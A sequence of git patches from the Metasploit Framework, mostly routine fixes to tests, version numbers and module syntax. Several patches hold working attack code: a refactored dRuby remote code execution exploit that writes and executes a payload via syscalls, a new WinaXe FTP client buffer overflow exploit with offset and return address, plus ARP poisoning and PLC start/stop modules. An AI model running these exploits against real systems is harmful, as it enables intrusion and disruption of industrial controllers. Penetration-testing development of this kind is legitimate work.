a/modules/post/windows/gather/phish_windows_credentials.rb b/modules/post/windows/gather/phish_windows_credentials.rb index 364563d761..d335c6fe63 100644 --- a/modules/post/windows/gather/phish_windows_credentials.rb +++ b/modules/post/windows/gather/phish_windows_credentials.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post ], 'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ], 'Platform' => [ 'win' ], - 'Arch' => [ ARCH_x86, ARCH_X64 ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ] )) From 50c2ed85094357527f624fede59aa7a3ab3bed24 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 5 Nov 2016 02:41:52 +1000 Subject: [PATCH 083/157] Fix post mixin platform/session check --- lib/msf/core/post_mixin.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 6cb28a9d8b..47b1563fd7 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -166,7 +166,7 @@ module Msf::PostMixin if self.platform and self.platform.kind_of?(Msf::Module::PlatformList) [ # Add as necessary - "windows", "linux", "osx" + 'win', 'linux', 'osx' ].each do |name| if self.platform =~ /#{name}/ p = Msf::Module::PlatformList.transform(name) @@ -176,7 +176,7 @@ module Msf::PostMixin elsif self.platform and self.platform.kind_of?(Msf::Module::Platform) p_klass = Msf::Module::Platform case self.platform - when 'windows' + when 'win' return false unless self.platform.kind_of?(p_klass::Windows) when 'osx' return false unless self.platform.kind_of?(p_klass::OSX) @@ -188,8 +188,6 @@ module Msf::PostMixin # Check to make sure architectures match mod_arch = self.module_info['Arch'] mod_arch = [mod_arch] unless mod_arch.kind_of?(Array) - # TODO: what should be done with the likes of ARCH_CMD (and others) ? - return false unless mod_arch.include?(self.arch) # If we got here, we haven't found anything that definitely # disqualifies this session. Assume that means we can use it. From 2c39a14ada3952822e1399d55e0a4dae0da2210b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 4 Nov 2016 10:02:13 -0700 Subject: [PATCH 084/157] Bump version of framework to 4.12.41 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 06a3e5e650..d79a8ca954 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.12.40) + metasploit-framework (4.12.41) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 3968e8489d..5d3867c728 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.12.40" + VERSION = "4.12.41" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 5b810fae41549db14658619a3eb61fa2bd988af8 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Nov 2016 15:08:33 -0700 Subject: [PATCH 085/157] Update atg_client to identify responses that indicate the command was not understood --- modules/auxiliary/admin/atg/atg_client.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb index 00af98129b..fec8f8a2a9 100644 --- a/modules/auxiliary/admin/atg/atg_client.rb +++ b/modules/auxiliary/admin/atg/atg_client.rb @@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary This module acts as a simplistic administrative client for interfacing with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking the TLS-250 and TLS-350 protocols. This has been tested against - GasPot, a honeypot meant to simulate ATGs; it has not been tested - against anything else, so use at your own risk. + GasPot and Conpot, both honeypots meant to simulate ATGs; it has not + been tested against anything else, so use at your own risk. }, 'Author' => [ @@ -31,6 +31,7 @@ class MetasploitModule < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'], ['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'], ['URL', 'https://github.com/sjhilt/GasPot'], + ['URL', 'https://github.com/mushorg/conpot'], ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'], ['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'], ['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227'] @@ -187,6 +188,8 @@ class MetasploitModule < Msf::Auxiliary def get_response(request) sock.put(request) response = sock.get_once(-1, timeout) + response.strip! + response += " (command not understood)" if response == "9999FF1B" response end @@ -245,7 +248,8 @@ class MetasploitModule < Msf::Auxiliary end else response = get_response("#{action.opts[protocol_opt_name]}\n") - print_good("#{protocol} #{action.opts['Description']}:\n#{response}") + print_good("#{protocol} #{action.opts['Description']}:") + print_line(response) end ensure disconnect From bf7936adf538b1ab5b1b34dff0c70eb737fe7fda Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 4 Nov 2016 13:47:36 -0500 Subject: [PATCH 086/157] Add instance_eval and syscall targets --- modules/exploits/linux/misc/drb_remote_codeexec.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index fded503b2e..9543f5e618 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -33,7 +33,10 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Targets' => [[ 'Automatic', { }]], + 'Targets' => [ + ['instance_eval', {}], + ['syscall', {}] + ], 'DisclosureDate' => 'Mar 23 2011', 'DefaultTarget' => 0)) From 009d6a45aa3d88026a7242d0417f67dc4fbb7982 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 4 Nov 2016 13:48:29 -0500 Subject: [PATCH 087/157] Update description --- modules/exploits/linux/misc/drb_remote_codeexec.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index 9543f5e618..784cb1eda2 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -13,7 +13,10 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution', 'Description' => %q{ - This module exploits remote code execution vulnerabilities in dRuby + This module exploits remote code execution vulnerabilities in dRuby. + + If the dRuby application sets $SAFE = 1, the instance_eval target will fail. + In this event, the syscall target is preferred. This can be set with target 1. }, 'Author' => [ 'joernchen ' ], #(Phenoelit) 'License' => MSF_LICENSE, From 6d7cf81429f851562513a98199b7274ad3720295 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 4 Nov 2016 13:48:53 -0500 Subject: [PATCH 088/157] Update references --- modules/exploits/linux/misc/drb_remote_codeexec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index 784cb1eda2..b9b76327e6 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -23,6 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ], + [ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ] ], 'Privileged' => false, 'Payload' => From f0c89ffb56e5cc3276e2d66a3e488d3299e130bd Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 4 Nov 2016 13:54:26 -0500 Subject: [PATCH 089/157] Refactor module and use FileDropper --- .../linux/misc/drb_remote_codeexec.rb | 55 ++++++++++++++----- 1 file changed, 40 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index b9b76327e6..35e73700f1 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -7,8 +7,11 @@ require 'msf/core' require 'drb/drb' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::FileDropper + def initialize(info = {}) super(update_info(info, 'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution', @@ -58,19 +61,37 @@ class MetasploitModule < Msf::Exploit::Remote class << p undef :send end + + case target.name + when 'instance_eval' + print_status('Trying to exploit instance_eval') + exploit_instance_eval(p) + when 'syscall' + print_status('Trying to exploit syscall') + exploit_syscall(p) + end + end + + def exploit_instance_eval(p) begin - print_status('trying to exploit instance_eval') p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }") + rescue SecurityError + print_error('instance_eval failed due to security error') + rescue DRb::DRbConnError + print_error('instance_eval failed due to connection error') + end + end - rescue SecurityError => e - print_status('instance eval failed, trying to exploit syscall') - filename = "." + Rex::Text.rand_text_alphanumeric(16) + def exploit_syscall(p) + filename = "." + Rex::Text.rand_text_alphanumeric(16) + + begin begin - + print_status('Attempting 32-bit exploitation') # syscall to decide wether it's 64 or 32 bit: # it's getpid on 32bit which will succeed, and writev on 64bit # which will fail due to missing args - j = p.send(:syscall,20) + p.send(:syscall,20) # syscall open i = p.send(:syscall,8,filename,0700) # syscall write @@ -82,13 +103,9 @@ class MetasploitModule < Msf::Exploit::Remote # syscall execve p.send(:syscall,11,filename,0,0) - # not vulnerable - rescue SecurityError => e - - print_status('target is not vulnerable') - # likely 64bit system - rescue => e + rescue Errno::EBADF + print_status('Target is a 64-bit system') # syscall creat i = p.send(:syscall,85,filename,0700) # syscall write @@ -100,9 +117,17 @@ class MetasploitModule < Msf::Exploit::Remote # syscall execve p.send(:syscall,59,filename,0,0) end + + # not vulnerable + rescue SecurityError + print_error('syscall failed due to security error') + return + rescue DRb::DRbConnError + print_error('syscall failed due to connection error') + return end - print_status("payload executed from file #{filename}") unless filename.nil? - print_status("make sure to remove that file") unless filename.nil? - handler(nil) + + register_files_for_cleanup(filename) end + end From da356e7d62e65c3ea423067df1a644d0488345b8 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 4 Nov 2016 13:55:06 -0500 Subject: [PATCH 090/157] Remove Compat hash to allow more payloads --- modules/exploits/linux/misc/drb_remote_codeexec.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index 35e73700f1..ca81666a2b 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -32,10 +32,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd', - }, 'Space' => 32768, }, 'Platform' => 'unix', From abe46024de6a83b256570420002892bb588da794 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 5 Nov 2016 05:15:57 +1000 Subject: [PATCH 091/157] Fix tests after arch refactor --- spec/lib/msf/core/exploit/powershell_spec.rb | 2 +- spec/lib/msf/core/payload_generator_spec.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index d792b31f02..402ee98d67 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -165,7 +165,7 @@ RSpec.describe Msf::Exploit::Powershell do context 'when x64 payload' do it 'should generate code' do - code = subject.run_hidden_psh(payload, 'x86_64', encoded) + code = subject.run_hidden_psh(payload, 'x64', encoded) expect(code.include?('sysnative')).to be_truthy end end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index f64bd91c9c..2c5736065a 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -642,7 +642,7 @@ RSpec.describe Msf::PayloadGenerator do let(:generator_opts) { { add_code: File.join(FILE_FIXTURES_PATH, "nop_shellcode.bin"), - arch: 'x86_64', + arch: 'x64', badchars: "\x20\x0D\x0A", encoder: 'x86/shikata_ga_nai', datastore: { 'LHOST' => '192.168.172.1', 'LPORT' => '8443' } , @@ -759,7 +759,7 @@ RSpec.describe Msf::PayloadGenerator do let(:generator_opts) { { add_code: false, - arch: 'x86_64', + arch: 'x64', badchars: '', encoder: 'x86/shikata_ga_nai', datastore: { 'LHOST' => '192.168.172.1', 'LPORT' => '8443' } , From 5f5684841b9cd4235ffb8505cbc45c6eabb9c3d2 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 5 Nov 2016 05:59:31 +1000 Subject: [PATCH 092/157] Fix the DB/Session test --- spec/support/shared/examples/msf/db_manager/session.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 00b5f9269c..ed470fd73e 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -70,6 +70,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do session.exploit = module_instance session.exploit_datastore = exploit_datastore session.info = 'Info' + session.arch = 'Arch' session.platform = 'Platform' session.session_host = host.address session.sid = rand(100) @@ -426,7 +427,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } it { expect(subject.local_id).to eq(session.sid) } it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } - it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.platform).to eq(session.session_type) } it { expect(subject.routes).to eq([]) } it { expect(subject.stype).to eq(session.type) } it { expect(subject.via_payload).to eq(session.via_payload) } From 3bc680827853a3c3e7b3dc7e50b3f671634b53a3 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 5 Nov 2016 06:07:44 +1000 Subject: [PATCH 093/157] Really fix the session test this time --- spec/support/shared/examples/msf/db_manager/session.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index ed470fd73e..1cf0ca5b81 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -70,7 +70,6 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do session.exploit = module_instance session.exploit_datastore = exploit_datastore session.info = 'Info' - session.arch = 'Arch' session.platform = 'Platform' session.session_host = host.address session.sid = rand(100) From d751c43f52795a539c988a933c8e358261ced9d7 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 5 Nov 2016 06:20:43 +1000 Subject: [PATCH 094/157] FINALLY fix the last of the tests Sorry for the stupidity. --- spec/support/shared/examples/msf/db_manager/session.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 1cf0ca5b81..dab5c51caa 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -769,7 +769,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } it { expect(subject.local_id).to eq(session.sid) } it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } - it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.platform).to eq(session.session_type) } it { expect(subject.routes).to eq([]) } it { expect(subject.stype).to eq(session.type) } it { expect(subject.via_payload).to eq(session.via_payload) } From e9d85750c232f1940ef8b934122bd88578981494 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9C=B1=E9=9B=84=E5=AE=87?= Date: Sun, 6 Nov 2016 19:04:57 +0800 Subject: [PATCH 095/157] fix get_ipv4_addr(@interface) usage get_ipv4_addr(@interface) returns a string not list, so get_ipv4_addr(@interface)[0] only got the first character of IP, which raises an error. --- modules/auxiliary/spoof/arp/arp_poisoning.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index aacfb39fd4..388d2101a3 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Auxiliary raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac) @sip = datastore['LOCALSIP'] - @sip ||= get_ipv4_addr(@interface)[0] if @netifaces + @sip ||= get_ipv4_addr(@interface) if @netifaces raise "LOCALSIP is not defined and can not be guessed" unless @sip raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip) From 4ea9214466c90fbc25237163ce73395b450d4d2d Mon Sep 17 00:00:00 2001 From: Tijl Deneut Date: Sun, 6 Nov 2016 16:20:55 +0100 Subject: [PATCH 096/157] Fixed a small bug --- modules/auxiliary/admin/scada/phoenix_command.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 57306178de..143524f850 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -20,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary It allows a remote user to read out the PLC Type, Firmware and Build number on port TCP/1962. And also to read out the CPU State (Running or Stopped) AND start - or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series) - or on port TCP/41100 (confirmed ILC 39x series) + or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series) + or on port TCP/20547 (confirmed ILC 39x series) }, 'Author' => 'Tijl Deneut ', 'License' => MSF_LICENSE, @@ -211,11 +211,11 @@ class MetasploitModule < Msf::Auxiliary if device.start_with?('ILC 15', 'ILC 17') devicetype = '15x' print_status('--> Detected 15x/17x series, getting current CPU state:') - ractionport == 0 ? (rport = 41100) : (rport = ractionport) + ractionport == nil ? (rport = 41100) : (rport = ractionport) elsif device.start_with?('ILC 39') devicetype = '39x' print_status('--> Detected 39x series, getting current CPU state:') - ractionport == 0 ? (rport = 20547) : (rport = ractionport) + ractionport == nil ? (rport = 20547) : (rport = ractionport) else print_error('Only ILC and (some) RFC devices are supported.') return From 1b4409f950a2bec30ef82efd9c1bf108c41b59ce Mon Sep 17 00:00:00 2001 From: Tijl Deneut Date: Sun, 6 Nov 2016 21:15:31 +0100 Subject: [PATCH 097/157] Update phoenix_command.rb Style fix: replace "ractionport == nil ?" with "ractionport.nil?" Is it OK? Did not find time to install and run rubocop ... --- modules/auxiliary/admin/scada/phoenix_command.rb | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 143524f850..6ffe05467f 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -138,7 +138,6 @@ class MetasploitModule < Msf::Auxiliary end state end - def get_state2(data) if data[16..17] == '04' state = 'STOP' @@ -150,7 +149,6 @@ class MetasploitModule < Msf::Auxiliary end state end - def get_cpu(rhost, rport, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport) state = 'unknown' @@ -160,8 +158,7 @@ class MetasploitModule < Msf::Auxiliary send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") ## Query packet data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40") - state = get_state1(data) - elsif devicetype == '39x' + state = get_state1(data) elsif devicetype == '39x' init_phase2 data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa") state = get_state2(data) @@ -171,8 +168,7 @@ class MetasploitModule < Msf::Auxiliary state end - def set_cpu(rhost, rport, action, state, devicetype) - connect(true, 'RHOST' => rhost, 'RPORT' => rport) + def set_cpu(rhost, rport, action, state, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport) if devicetype == '15x' init_phase1 ## Several packets (21) send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") @@ -182,8 +178,7 @@ class MetasploitModule < Msf::Auxiliary else print_status('--> Sending STOP now') send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00") - end - elsif devicetype == '39x' + end elsif devicetype == '39x' init_phase2 ## Several packets (6) if action == 'START' || (action == 'REV' && state == 'STOP') print_status('--> Sending COLD start now') @@ -211,11 +206,11 @@ class MetasploitModule < Msf::Auxiliary if device.start_with?('ILC 15', 'ILC 17') devicetype = '15x' print_status('--> Detected 15x/17x series, getting current CPU state:') - ractionport == nil ? (rport = 41100) : (rport = ractionport) + ractionport.nil? (rport = 41100) : (rport = ractionport) elsif device.start_with?('ILC 39') devicetype = '39x' print_status('--> Detected 39x series, getting current CPU state:') - ractionport == nil ? (rport = 20547) : (rport = ractionport) + ractionport.nil? (rport = 20547) : (rport = ractionport) else print_error('Only ILC and (some) RFC devices are supported.') return From 2c2729f0b20e1c6b15a2a912c83f291f8595387d Mon Sep 17 00:00:00 2001 From: Tijl Deneut Date: Sun, 6 Nov 2016 21:21:20 +0100 Subject: [PATCH 098/157] Update phoenix_command.rb Coded was messed up by MS Edge, don't use it :) --- modules/auxiliary/admin/scada/phoenix_command.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 6ffe05467f..2b4f27b457 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -138,6 +138,7 @@ class MetasploitModule < Msf::Auxiliary end state end + def get_state2(data) if data[16..17] == '04' state = 'STOP' @@ -149,6 +150,7 @@ class MetasploitModule < Msf::Auxiliary end state end + def get_cpu(rhost, rport, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport) state = 'unknown' @@ -158,7 +160,8 @@ class MetasploitModule < Msf::Auxiliary send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") ## Query packet data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40") - state = get_state1(data) elsif devicetype == '39x' + state = get_state1(data) + elsif devicetype == '39x' init_phase2 data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa") state = get_state2(data) @@ -168,7 +171,8 @@ class MetasploitModule < Msf::Auxiliary state end - def set_cpu(rhost, rport, action, state, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport) + def set_cpu(rhost, rport, action, state, devicetype) + connect(true, 'RHOST' => rhost, 'RPORT' => rport) if devicetype == '15x' init_phase1 ## Several packets (21) send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") @@ -178,7 +182,8 @@ class MetasploitModule < Msf::Auxiliary else print_status('--> Sending STOP now') send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00") - end elsif devicetype == '39x' + end + elsif devicetype == '39x' init_phase2 ## Several packets (6) if action == 'START' || (action == 'REV' && state == 'STOP') print_status('--> Sending COLD start now') From 92964c1f95f7800523ee04bdd66510f358a8ce20 Mon Sep 17 00:00:00 2001 From: Tijl Deneut Date: Sun, 6 Nov 2016 21:22:54 +0100 Subject: [PATCH 099/157] Update phoenix_command.rb --- modules/auxiliary/admin/scada/phoenix_command.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 2b4f27b457..1b6dbb0976 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -150,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary end state end - + def get_cpu(rhost, rport, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport) state = 'unknown' From 689fc28d1bb5b2d075432b0ea9899c194b7b11ad Mon Sep 17 00:00:00 2001 From: Chris Higgins Date: Sun, 6 Nov 2016 23:35:16 -0600 Subject: [PATCH 100/157] Added WinaXe 7.7 FTP client Server Ready buffer overflow --- .../windows/ftp/winaxe_server_ready.rb | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 modules/exploits/windows/ftp/winaxe_server_ready.rb diff --git a/modules/exploits/windows/ftp/winaxe_server_ready.rb b/modules/exploits/windows/ftp/winaxe_server_ready.rb new file mode 100644 index 0000000000..18bf8cb9a2 --- /dev/null +++ b/modules/exploits/windows/ftp/winaxe_server_ready.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::FtpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in the WinaXe 7.7 FTP client. + This issue is triggered when a client connects to the server and is + expecting the Server Ready response. + }, + 'Author' => + [ + 'Chris Higgins', # msf Module -- @ch1gg1ns + 'hyp3rlix' # Original discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '40693'], + [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ], # Put this in later + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00\x0a\x0d", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', { + 'Offset' => 2065, + 'Ret' => 0x68017296} ], # push esp # ret 0x04 WCMDPA10.dll + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 03 2016', + 'DefaultTarget' => 0)) + end + + def setup + super + end + + def on_client_unknown_command(c,cmd,arg) + c.put("200 OK\r\n") + end + + #def on_client_command_list(c,arg) + def on_client_connect(c) + print_status("Client connected...") + + sploit = rand_text(target['Offset']) + sploit << [target.ret].pack('V') + sploit << make_nops(10) + sploit << payload.encoded + sploit << make_nops(20) + + print_status("Sending exploit") + c.put("220" + sploit + "\r\n") + c.close + return + end + +end From 4eb42a91715a737bc7a6e73bd0611edd8ee5efed Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 7 Nov 2016 00:12:04 -0600 Subject: [PATCH 101/157] Fix broken ternary in phoenix_command --- modules/auxiliary/admin/scada/phoenix_command.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 1b6dbb0976..372f699dad 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -211,11 +211,11 @@ class MetasploitModule < Msf::Auxiliary if device.start_with?('ILC 15', 'ILC 17') devicetype = '15x' print_status('--> Detected 15x/17x series, getting current CPU state:') - ractionport.nil? (rport = 41100) : (rport = ractionport) + ractionport.nil? ? (rport = 41100) : (rport = ractionport) elsif device.start_with?('ILC 39') devicetype = '39x' print_status('--> Detected 39x series, getting current CPU state:') - ractionport.nil? (rport = 20547) : (rport = ractionport) + ractionport.nil? ? (rport = 20547) : (rport = ractionport) else print_error('Only ILC and (some) RFC devices are supported.') return From 099a5984f9ef020a577a5a652336fa8b39d6c6c9 Mon Sep 17 00:00:00 2001 From: Chris Higgins Date: Mon, 7 Nov 2016 10:18:52 -0600 Subject: [PATCH 102/157] Updated with style suggestions from msftidy and rubocop. Also updated with commented from other contributors. --- .../windows/ftp/winaxe_server_ready.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 